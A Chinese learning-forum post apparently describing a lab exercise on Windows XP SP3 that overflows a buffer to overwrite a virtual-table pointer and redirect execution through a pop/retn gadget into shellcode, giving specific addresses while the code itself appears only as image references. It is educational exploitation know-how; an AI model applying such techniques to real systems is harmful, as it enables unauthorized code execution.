那我们就来梳理一下我们利用的思路:首先我们溢出,覆盖掉虚表指针,然后执行虚函数,这时候先取出虚表指针

到虚表指针指向的地方取出虚函数指针,也就是说,我们直接覆盖的虚表指针那个位置存的是shellcode起始地址,这里要理解!!!!!!

《0day2》里面说实话我是没有看懂,自己捣鼓了很久,好了假设你已经看懂了上面的,放心吧后面还会详细解释的ヾ(^▽^*)))

004042x99umku6296pk9j9.png

看,标注出来的是虚表指针0x00411A38,当然这是我已经找好的,在你的电脑上还需要手动确定一下

然后我们call的时候会执行0x7C992B11,这个是怎么确定的呢?

这就需要来观察一下栈了

004042xwjh4hihan9pqisy.png

这是现在的栈顶,可以看到栈顶刚好是我们shellcode的起始地址,然后我们执行call的时候,会压入一个返回地址

也就是说,我们只要执行一个pop和retn,就可以跳到shellcode

我们F7单步走一下看看,这里我已经找好pop和retn了,所以直接能演示

004043occbja02fcf7zvbf.png

看,我们在进入这个call的时候,堆栈压入了一个返回地址,按照上面的代码,一个pop把返回地址弹掉,然后retn到0x0012FE94

这个位置刚好是shellcode的起始位置,也就是说我们成功跳到了shellcode的空间了

来看看具体代码

004043k8znrz0geyrnr6zg.png

《0day2》里面是通过结束符来修改最后两位,但是我这里的情况修改最后两位是不能实现的,所以具体情况还是要根据你的电脑进行修改

最后的效果

004044naekbb7af7w0sbk8.png

欢迎交流

yincheng 发表于 5 天前 详情  回复
谢谢楼主分享!
发表于 5 天前
roger 发表于 2020-12-17 22:11
环境:xp sp3
工具:OD,VS2015
写在最前面:这是微软一项用来防止栈溢出的保护机制,也就是在编译的时候在 ...

谢谢楼主分享!

小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

GMT+8, 2022-8-9 15:33 , Processed in 0.131601 second(s), 69 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表